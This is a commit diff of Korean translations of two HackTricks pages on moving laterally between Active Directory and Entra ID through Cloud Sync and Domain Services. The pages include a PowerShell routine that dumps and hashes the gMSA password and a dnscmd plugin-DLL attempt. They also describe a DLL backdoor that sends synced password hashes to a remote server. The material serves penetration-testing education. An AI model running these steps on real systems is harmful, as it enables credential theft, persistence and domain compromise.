Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement

2026-07-28 22:51:09 -07:00 · 2026-03-03 18:15:20 +00:00
parent a38336bade
commit 0d846e3039
2 changed files with 45 additions and 56 deletions
@@ -2,55 +2,56 @@

 {{#include ../../../banners/hacktricks-training.md}}

-## Basic Information

-**Cloud Sync**는 기본적으로 Azure가 **AD에서 Entra ID로 사용자를 동기화하는 새로운 방법**입니다.
+## 기본 정보

-[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync는 사용자가 Microsoft Entra ID로 동기화되는 하이브리드 ID 목표를 충족하고 달성하기 위해 Microsoft에서 설계한 새로운 서비스입니다. 이는 Microsoft Entra Connect 애플리케이션 대신 Microsoft Entra 클라우드 프로비저닝 에이전트를 사용하여 수행됩니다. 그러나 Microsoft Entra Connect Sync와 함께 사용할 수 있습니다.
+**Cloud Sync**는 기본적으로 Azure가 **AD의 사용자들을 Entra ID로 동기화**하는 새로운 방법입니다.

-### Principals Generated
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync는 사용자, 그룹, 연락처를 Microsoft Entra ID로 동기화하는 하이브리드 아이덴티티 목표를 달성하기 위해 설계된 새로운 Microsoft 제품입니다. 이는 Microsoft Entra Connect 애플리케이션 대신 Microsoft Entra cloud provisioning agent를 사용하여 수행됩니다. 그러나 Microsoft Entra Connect Sync와 함께 사용할 수도 있습니다.

-이 기능이 작동하기 위해 Entra ID와 온프레미스 디렉토리 모두에 몇 가지 주체가 생성됩니다:
+### 생성된 Principals

- Entra ID에서 사용자 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`)가 **`Directory Synchronization Accounts`** 역할 (`d29b2b05-8046-44ba-8758-1e26182fcf32`)로 생성됩니다.
+이 기능이 작동하려면 Entra ID와 On-Premise directory 양쪽에 몇몇 principals가 생성됩니다:
+
+- Entra ID에는 사용자 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`)가 생성되며 역할 **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`)가 할당됩니다.

 > [!WARNING]
-> 이 역할은 많은 특권 권한을 가지고 있었으며 [**전역 관리자 권한을 상승시킬 수 있었습니다**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). 그러나 Microsoft는 이 역할의 모든 권한을 제거하고 단지 **`microsoft.directory/onPremisesSynchronization/standard/read`**라는 새로운 권한만 부여하기로 결정했습니다. 이 권한은 사용자 비밀번호나 속성을 수정하거나 SP에 새로운 자격 증명을 추가하는 등의 특권 작업을 수행할 수 없습니다.
+> 이 역할은 이전에 많은 권한을 가지고 있어 [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b) 에 사용될 수 있었습니다. 그러나 Microsoft는 이 역할의 모든 권한을 제거하고 새 권한 **`microsoft.directory/onPremisesSynchronization/standard/read`** 만 할당했습니다. 이 권한으로는 사용자 비밀번호나 속성 수정, SP에 새 자격 증명 추가 같은 권한 있는 작업을 수행할 수 없습니다.

- Entra ID에서도 **`AAD DC Administrators`** 그룹이 구성원이나 소유자 없이 생성됩니다. 이 그룹은 [`Microsoft Entra Domain Services`](./az-domain-services.md)를 사용할 경우 유용합니다.
+- Entra ID에는 또한 멤버나 소유자가 없는 그룹 **`AAD DC Administrators`**가 생성됩니다. 이 그룹은 [`Microsoft Entra Domain Services`](./az-domain-services.md)를 사용하는 경우 유용합니다.

- AD에서는 서비스 계정 **`provAgentgMSA`**가 **`pGMSA_<id>$@domain.com`**과 같은 SamAccountName으로 생성되거나 [**이 권한이 필요합니다**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) 사용자 정의 계정이 생성됩니다. 일반적으로 기본 계정이 생성됩니다.
+- AD에는 기본적으로 Service Account **`provAgentgMSA`**가 SamAcountName이 **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`) 같은 형태로 생성되거나, [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)와 함께 커스텀 계정을 만들 수도 있습니다. 보통은 기본 계정이 생성됩니다.

 > [!WARNING]
-> 다른 권한 중에서 서비스 계정 **`provAgentgMSA`**는 DCSync 권한을 가지고 있어 **이를 손상시키는 누구나 전체 디렉토리를 손상시킬 수 있습니다**. [DCSync에 대한 자세한 내용은 여기](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)를 참조하십시오.
+> 다른 권한들과 함께 Service Account **`provAgentgMSA`**는 DCSync 권한을 가지고 있어, 이 계정을 탈취한 사람은 **디렉터리 전체를 침해할 수 있습니다**. DCSync에 대한 자세한 정보는 [여기](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)를 확인하세요.

 > [!NOTE]
-> 기본적으로 **`adminCount`** 속성이 1인 도메인 관리자와 같은 알려진 특권 그룹의 사용자는 보안상의 이유로 Entra ID와 동기화되지 않습니다. 그러나 이 속성이 없는 특권 그룹의 다른 사용자나 직접 높은 권한이 부여된 사용자는 **동기화될 수 있습니다**.
+> 기본적으로 Domain Admins와 같은 알려진 권한 있는 그룹의 사용자들은 보안상의 이유로 **`adminCount`가 1로 설정된 경우 Entra ID로 동기화되지 않습니다**. 그러나 이 속성이 없는 권한 그룹의 구성원이나 직접 높은 권한이 부여된 다른 사용자들은 **동기화될 수 있습니다**.

-## Password Sychronization
+## 비밀번호 동기화

-이 섹션은 다음과 매우 유사합니다:
+The section is very similar to the one from:

 {{#ref}}
 az-connect-sync.md
 {{#endref}}

- **비밀번호 해시 동기화**를 활성화하면 사용자가 **AD의 비밀번호를 사용하여 Entra ID에 로그인할 수 있습니다**. 또한 AD에서 비밀번호가 수정될 때마다 Entra ID에서 업데이트됩니다.
- **비밀번호 쓰기 백**도 활성화할 수 있으며, 사용자가 Entra ID에서 비밀번호를 수정하면 온프레미스 도메인에서 비밀번호가 자동으로 동기화됩니다. 그러나 [현재 문서에 따르면](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), 이를 위해 Connect Agent를 사용해야 하므로 [Az Connect Sync 섹션](./az-connect-sync.md)을 참조하십시오.
- **그룹 쓰기 백**: 이 기능은 Entra ID의 그룹 구성원이 온프레미스 AD로 다시 동기화될 수 있도록 합니다. 즉, 사용자가 Entra ID의 그룹에 추가되면 AD의 해당 그룹에도 추가됩니다.
+- **Password hash synchronization**을 활성화하면 사용자는 **AD의 비밀번호로 Entra ID에 로그인**할 수 있습니다. 또한 AD에서 비밀번호가 수정되면 Entra ID에도 업데이트됩니다.
+- **Password writeback**도 활성화할 수 있으며, 사용자가 Entra ID에서 비밀번호를 변경하면 온프레미스 도메인의 비밀번호가 자동으로 동기화됩니다. 다만 [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback)에 따르면 이를 위해서는 Connect Agent를 사용해야 하므로 자세한 내용은 [Az Connect Sync section](./az-connect-sync.md)을 참고하세요.
+- **Groups writeback**: 이 기능은 Entra ID의 그룹 멤버십을 온프레미스 AD로 다시 동기화할 수 있게 합니다. 즉, Entra ID에서 사용자가 그룹에 추가되면 해당 사용자는 AD의 해당 그룹에도 추가됩니다.

 ## Pivoting

 ### AD --> Entra ID

- AD 사용자가 AD에서 Entra ID로 동기화되고 있다면, AD에서 Entra ID로의 피벗은 간단합니다. **사용자의 비밀번호를 손상시키거나 사용자의 비밀번호를 변경하거나 새 사용자를 생성하고 Entra ID 디렉토리에 동기화될 때까지 기다리면 됩니다(보통 몇 분 소요)**.
+- AD의 사용자들이 AD에서 Entra ID로 동기화되고 있다면, AD에서 Entra ID로의 피벗은 간단합니다. 단지 **어떤 사용자의 비밀번호를 탈취하거나 변경하거나, 새 사용자를 생성한 뒤(보통 몇 분 내에) Entra ID로 동기화될 때까지 기다리면 됩니다**.

-예를 들어 다음과 같이 할 수 있습니다.
- **`provAgentgMSA`** 계정을 손상시키고 DCSync 공격을 수행하여 일부 사용자의 비밀번호를 해독한 다음 이를 사용하여 Entra ID에 로그인합니다.
- AD에서 새 사용자를 생성하고 Entra ID로 동기화될 때까지 기다린 다음 이를 사용하여 Entra ID에 로그인합니다.
- AD에서 일부 사용자의 비밀번호를 수정하고 Entra ID로 동기화될 때까지 기다린 다음 이를 사용하여 Entra ID에 로그인합니다.
+예를 들어 다음을 할 수 있습니다.
+- **`provAgentgMSA`** 계정을 탈취하고 DCSync 공격을 수행한 뒤, 어떤 사용자의 비밀번호를 크랙해서 Entra ID에 로그인합니다.
+- AD에 새 사용자를 생성하고 Entra ID로 동기화될 때까지 기다린 다음 해당 사용자로 Entra ID에 로그인합니다.
+- AD에서 어떤 사용자의 비밀번호를 수정하고 Entra ID로 동기화될 때까지 기다린 다음 해당 사용자로 Entra ID에 로그인합니다.

-**`provAgentgMSA`** 자격 증명을 손상시키기 위해:
+To compromise the **`provAgentgMSA`** credentials:
 ```powershell
 # Enumerate provAgentgMSA account
 Get-ADServiceAccount -Filter * -Server domain.local
@@ -72,22 +73,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
 $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
 ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
 ```
-이제 gMSA의 해시를 사용하여 `provAgentgMSA` 계정을 통해 Entra ID에 대해 Pass-the-Hash 공격을 수행하고 AD에 대한 DCSync 공격을 수행할 수 있는 지속성을 유지할 수 있습니다.
+이제 gMSA의 해시를 사용해 `provAgentgMSA` 계정으로 Entra ID에 대해 Pass-the-Hash 공격을 수행하고, persistence를 유지하면서 AD에 대해 DCSync 공격을 수행할 수 있습니다.

-Active Directory를 손상시키는 방법에 대한 자세한 내용은 다음을 확인하십시오:
+For more information about how to compromise an Active Directory check:

 {{#ref}}
 https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
 {{#endref}}

 > [!NOTE]
-> Azure 또는 EntraID 역할을 동기화된 사용자에게 속성에 따라 부여하는 방법은 없습니다. 예를 들어 Cloud Sync 구성에서. 그러나 동기화된 사용자에게 자동으로 권한을 부여하기 위해 일부 **AD의 Entra ID 그룹**에 권한이 부여될 수 있으므로 해당 그룹 내의 동기화된 사용자도 권한을 받거나 **동적 그룹이 사용될 수 있습니다**. 따라서 항상 동적 규칙과 이를 악용할 수 있는 잠재적인 방법을 확인하십시오:
+> Cloud Sync 구성에서는 속성에 기반해 동기화된 사용자에게 Azure나 EntraID 역할을 부여하는 방법이 없습니다. 하지만 동기화된 사용자에게 권한을 자동으로 부여하기 위해 일부 **Entra ID groups from AD**에 권한을 부여하면 해당 그룹에 속한 동기화된 사용자들도 권한을 받게 되거나 **dynamic groups might be used**가 사용될 수 있으니, 항상 dynamic rules와 잠재적인 악용 경로를 확인하세요:

 {{#ref}}
 ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
 {{#endref}}

-지속성과 관련하여 [이 블로그 게시물](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)은 [**dnSpy**](https://github.com/dnSpy/dnSpy)를 사용하여 **`C:\Program Files\Microsoft Azure AD Sync\Bin`**에 위치한 dll **`Microsoft.Online.Passwordsynchronisation.dll`**에 백도어를 설정하는 것이 가능하다고 제안합니다. 이 dll은 Cloud Sync 에이전트가 비밀번호 동기화를 수행하는 데 사용되며, 이를 통해 동기화되는 사용자의 비밀번호 해시를 원격 서버로 유출할 수 있습니다. 해시는 **`PasswordHashGenerator`** 클래스 내에서 생성되며, 블로그 게시물에서는 클래스가 다음과 같이 보이도록 일부 코드를 추가할 것을 제안합니다(비밀번호 해시를 유출하기 위해 `use System.Net` 및 `WebClient` 사용에 주의하십시오):
+Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
 ```csharp
 using System;
 using System.Net;
@@ -121,20 +122,17 @@ RawHash = passwordHashData.RawHash
 }
 }
 ```
-NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
-C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
-. Please see Error List window for detailed warnings and errors.
-
 ### Entra ID --> AD

- **Password Writeback**가 활성화된 경우, Entra ID의 일부 사용자의 비밀번호를 수정할 수 있으며, AD 네트워크에 접근할 수 있다면 이를 사용하여 연결할 수 있습니다. 비밀번호 쓰기 백에 대한 구성은 해당 에이전트를 사용하여 설정되므로 더 많은 정보는 [Az Connect Sync section](./az-connect-sync.md) 섹션을 확인하세요.
+- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.

- 현재 Cloud Sync는 **"Microsoft Entra ID to AD"**를 허용하지만, 시간이 지나면서 EntraID 사용자를 AD로 동기화할 수 없다는 것을 발견했습니다. 이는 비밀번호 해시로 동기화된 EntraID 사용자만 동기화할 수 있으며, 동기화하려는 도메인과 동일한 도메인 포리스트에 속하는 도메인에서 온 사용자만 동기화할 수 있습니다. 자세한 내용은 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits)에서 확인할 수 있습니다:
+- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchronizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):

-> - 이러한 그룹은 온프레미스에서 동기화된 사용자 및/또는 추가로 클라우드에서 생성된 보안 그룹만 포함할 수 있습니다.
-> - 동기화된 온프레미스 사용자 계정은 이 클라우드에서 생성된 보안 그룹의 구성원이 될 수 있으며, 동일한 도메인 또는 교차 도메인에서 올 수 있지만, 모두 동일한 포리스트에서 와야 합니다.
+> - 이 그룹들은 온프레미스에서 동기화된 사용자 및/또는 추가로 클라우드에서 생성된 보안 그룹만 포함할 수 있습니다.
+> - 동기화된 온프레미스 사용자 계정들이 이 클라우드 생성 보안 그룹의 구성원인 경우, 동일 도메인 또는 교차 도메인일 수 있지만 모두 동일 포리스트에 속해야 합니다.
+
+따라서 이 서비스의 공격 표면(및 유용성)은 크게 줄어듭니다. 공격자는 사용자가 동기화되는 최초의 AD를 침해해야만 다른 도메인의 사용자를 침해할 수 있기 때문이며(그리고 둘 다 동일 포리스트에 있어야 하는 것으로 보입니다).

-따라서 이 서비스의 공격 표면(및 유용성)은 크게 줄어들며, 공격자는 다른 도메인에서 사용자를 타격하기 위해 사용자가 동기화되는 초기 AD를 손상시켜야 합니다(그리고 두 도메인은 명백히 동일한 포리스트에 있어야 합니다).

 ### Enumeration
 ```bash
@@ -4,25 +4,25 @@

 ## 도메인 서비스

-Microsoft Entra Domain Services는 Domain Controllers를 관리할 필요 없이 Azure에 Active Directory를 배포할 수 있게 해줍니다 (실제로 도메인 컨트롤러에 접근조차 할 수 없습니다).
+Microsoft Entra Domain Services는 Domain Controllers를 관리할 필요 없이 Azure에 Active Directory를 배포할 수 있게 해줍니다(실제로 도메인 컨트롤러에 대한 접근 권한조차 없습니다).

-주된 목적은 모던 인증 방식을 사용할 수 없거나 디렉터리 조회가 항상 온프레미스 AD DS 환경으로 돌아가길 원하지 않는 레거시 애플리케이션을 클라우드에서 실행할 수 있게 하는 것입니다.
+주된 목적은 최신 인증 방식을 사용할 수 없는 레거시 애플리케이션을 클라우드에서 실행하거나 디렉터리 조회가 항상 온프레미스 AD DS 환경으로 돌아가길 원치 않는 경우를 지원하는 것입니다.

-참고로 Entra ID에서 생성된(다른 Active Directory에서 동기화된 것이 아닌) 사용자를 AD 도메인 서비스로 동기화하려면 사용자의 **비밀번호를 새 값으로 변경**해야 새 AD와 동기화될 수 있다는 점을 유의하세요. 실제로 사용자는 비밀번호가 변경될 때까지 Microsoft Entra ID에서 Domain Services로 동기화되지 않습니다.
+Entra ID에서 생성된 사용자(다른 Active Directory에서 동기화된 사용자가 아닌)를 AD domain service로 동기화하려면 해당 사용자의 비밀번호를 **사용자의 비밀번호를 새 비밀번호로 변경**해야 새 AD로 동기화될 수 있다는 점에 유의하세요. 실제로 사용자는 비밀번호가 변경될 때까지 Microsoft Entra ID에서 Domain Services로 동기화되지 않습니다.

 > [!WARNING]
-> 새 Active Directory 도메인을 생성하더라도(일부 오용 설정을 악용하지 않는 한) 완전히 관리할 수는 없다는 점에 유의하세요. 예를 들어 기본적으로 AD에 사용자를 직접 생성할 수 없습니다. 사용자는 **Entra ID에서 사용자 동기화**로 생성합니다. 모든 사용자(다른 온프레미스 AD에서 동기화된 사용자 포함), 클라우드 사용자(Entra ID에서 생성된 사용자)만, 또는 더 세분화하여 **필터링**하도록 지정할 수 있습니다.
+> 새로운 Active Directory 도메인을 생성하더라도(일부 잘못된 구성 취약점을 악용하지 않는 한) 도메인을 완전히 관리할 수는 없습니다. 예를 들어 기본적으로 AD에 직접 사용자를 생성할 수 없습니다. 사용자는 **Entra ID에서 사용자 동기화**를 통해 생성합니다. 모든 사용자(다른 온프레미스 AD에서 동기화된 사용자까지), 클라우드 사용자(Entra ID에서 생성된 사용자)만, 혹은 **더 세부적으로 필터링**하도록 동기화 대상을 지정할 수 있습니다.

 > [!NOTE]
-> 일반적으로 새 도메인의 구성 유연성이 부족하고 AD가 대개 이미 온프레미스에 존재한다는 점 때문에, 이는 Entra ID와 AD 간의 주요 통합 방식은 아니지만, 여전히 이를 침해하는 방법을 아는 것은 흥미롭습니다.
+> 일반적으로 새 도메인 구성의 유연성이 부족하고 AD가 보통 이미 온프레미스에 존재한다는 점 때문에, 이것은 Entra ID와 AD 간의 주요 통합 방식은 아니지만 그래도 이를 어떻게 침해할 수 있는지 알아두면 흥미롭습니다.

 ### Pivoting

-생성된 **`AAD DC Administrators`** 그룹의 구성원은 로컬 administrators 그룹에 추가되므로 (도메인 컨트롤러는 제외) 관리되는 도메인에 조인된 VM에서 로컬 관리자 권한을 부여받습니다. 이 그룹 구성원은 또한 **Remote Desktop을 사용해 도메인에 조인된 VM에 원격으로 연결**할 수 있으며, 다음 그룹들의 구성원이기도 합니다:
+생성된 **`AAD DC Administrators`** 그룹의 구성원은 관리형 도메인에 도메인 조인된 VM에 대해 로컬 관리자 권한을 부여받습니다(도메인 컨트롤러에는 적용되지 않음). 이는 이들이 로컬 administrators 그룹에 추가되기 때문입니다. 이 그룹의 구성원은 또한 **Remote Desktop을 사용해 도메인 조인된 VM에 원격 연결**할 수 있으며, 다음 그룹들의 멤버이기도 합니다:

- **`Denied RODC Password Replication Group`**: RODC(읽기 전용 도메인 컨트롤러)에 비밀번호를 캐시할 수 없는 사용자와 그룹을 지정하는 그룹입니다.
- **`Group Policy Creators Owners`**: 이 그룹은 구성원이 도메인에서 Group Policies를 생성할 수 있게 합니다. 다만 구성원은 사용자나 그룹에 정책을 적용하거나 기존 GPO를 편집할 수 없으므로 이 환경에서는 크게 유용하지 않습니다.
- **`DnsAdmins`**: 이 그룹은 DNS 설정을 관리할 수 있으며 과거 도메인을 권한 상승 및 침해하는 데 악용되었으나, 이 환경에서 공격을 테스트한 결과 취약점이 패치된 것으로 확인되었습니다:
+- **`Denied RODC Password Replication Group`**: 이 그룹은 RODC(Read-Only Domain Controllers)에 암호가 캐시될 수 없는 사용자 및 그룹을 지정합니다.
+- **`Group Policy Creators Owners`**: 이 그룹은 도메인에서 Group Policies를 생성할 수 있는 권한을 줍니다. 다만 구성원은 사용자나 그룹에 Group Policy를 적용하거나 기존 GPO를 수정할 수는 없으므로 이 환경에서는 그다지 흥미롭지 않습니다.
+- **`DnsAdmins`**: 이 그룹은 DNS 설정을 관리할 수 있게 해주며 과거에는 도메인 권한 상승 및 침해를 위해 악용된 적이 있습니다([escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)), 그러나 이 환경에서 해당 공격을 테스트한 결과 취약점은 패치된 것으로 확인되었습니다:
 ```text
 dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

@@ -30,24 +30,15 @@ DNS Server failed to reset registry property.
 Status = 5 (0x00000005)
 Command failed:  ERROR_ACCESS_DENIED     5    0x5
 ```
-Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
+Note that to grant these permissions, inside the AD, the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.

-이 권한들을 부여하기 위해 AD 내부에서 그룹 **`AAD DC Administrators`**가 이전 그룹들의 멤버로 추가되며, 또한 GPO **`AADDC Computers GPO`**가 도메인 그룹 **`AAD DC Administrators`**의 모든 구성원을 Local Administrators로 추가합니다.
+Entra ID에서 Domain Services로 생성된 AD로 피벗하는 것은 간단합니다. 단지 사용자 하나를 **`AAD DC Administrators`** 그룹에 추가하고 도메인 내의 어떤/모든 머신에 RDP로 접근하면 데이터를 탈취하고 도메인을 **장악할 수 있습니다.**

-Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
-
-Entra ID에서 Domain Services로 생성된 AD로의 Pivoting은 간단합니다. 사용자 계정을 **`AAD DC Administrators`** 그룹에 추가한 다음 도메인 내의 아무(또는 모든) 머신에 RDP로 접속하면 데이터를 훔치고 또한 **compromise the domain.**
-
-However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
-
-하지만 도메인에서 Entra ID로의 pivoting은 쉽지 않습니다. 도메인에서 Entra ID로 동기화되는 항목이 없기 때문입니다. 다만 항상 가입된 모든 VMs의 metadata를 확인하세요 — 할당된 managed identities가 흥미로운 권한을 가지고 있을 수 있습니다. 또한 **dump all the users passwords from the domain**하고 try to crack them 한 뒤 Entra ID / Azure에 login해 보세요.
+그러나 도메인에서 Entra ID로 피벗하는 것은 쉽지 않은데, 도메인에서 Entra ID로 동기화되는 것이 아무 것도 없기 때문입니다. 다만, 조인된 모든 VM의 메타데이터를 항상 확인하세요 — 할당된 managed identities가 흥미로운 권한을 가질 수 있습니다. 또한 **dump all the users passwords from the domain**하고 이를 크랙해 Entra ID / Azure에 로그인해 보세요.

 > [!NOTE]
 > Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.

-> [!NOTE]
-> 과거 이 managed AD에서는 DCs를 compromise할 수 있게 하는 다른 취약점들이 발견된 적이 있습니다, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC를 compromise한 공격자는 Azure admins가 알아차리거나 제거할 수 없더라도 매우 쉽게 persistence를 유지할 수 있습니다.
-
 ### Enumeration
 ```bash
 # Get configured domain services domains (you can add more subs to check in more subscriptions)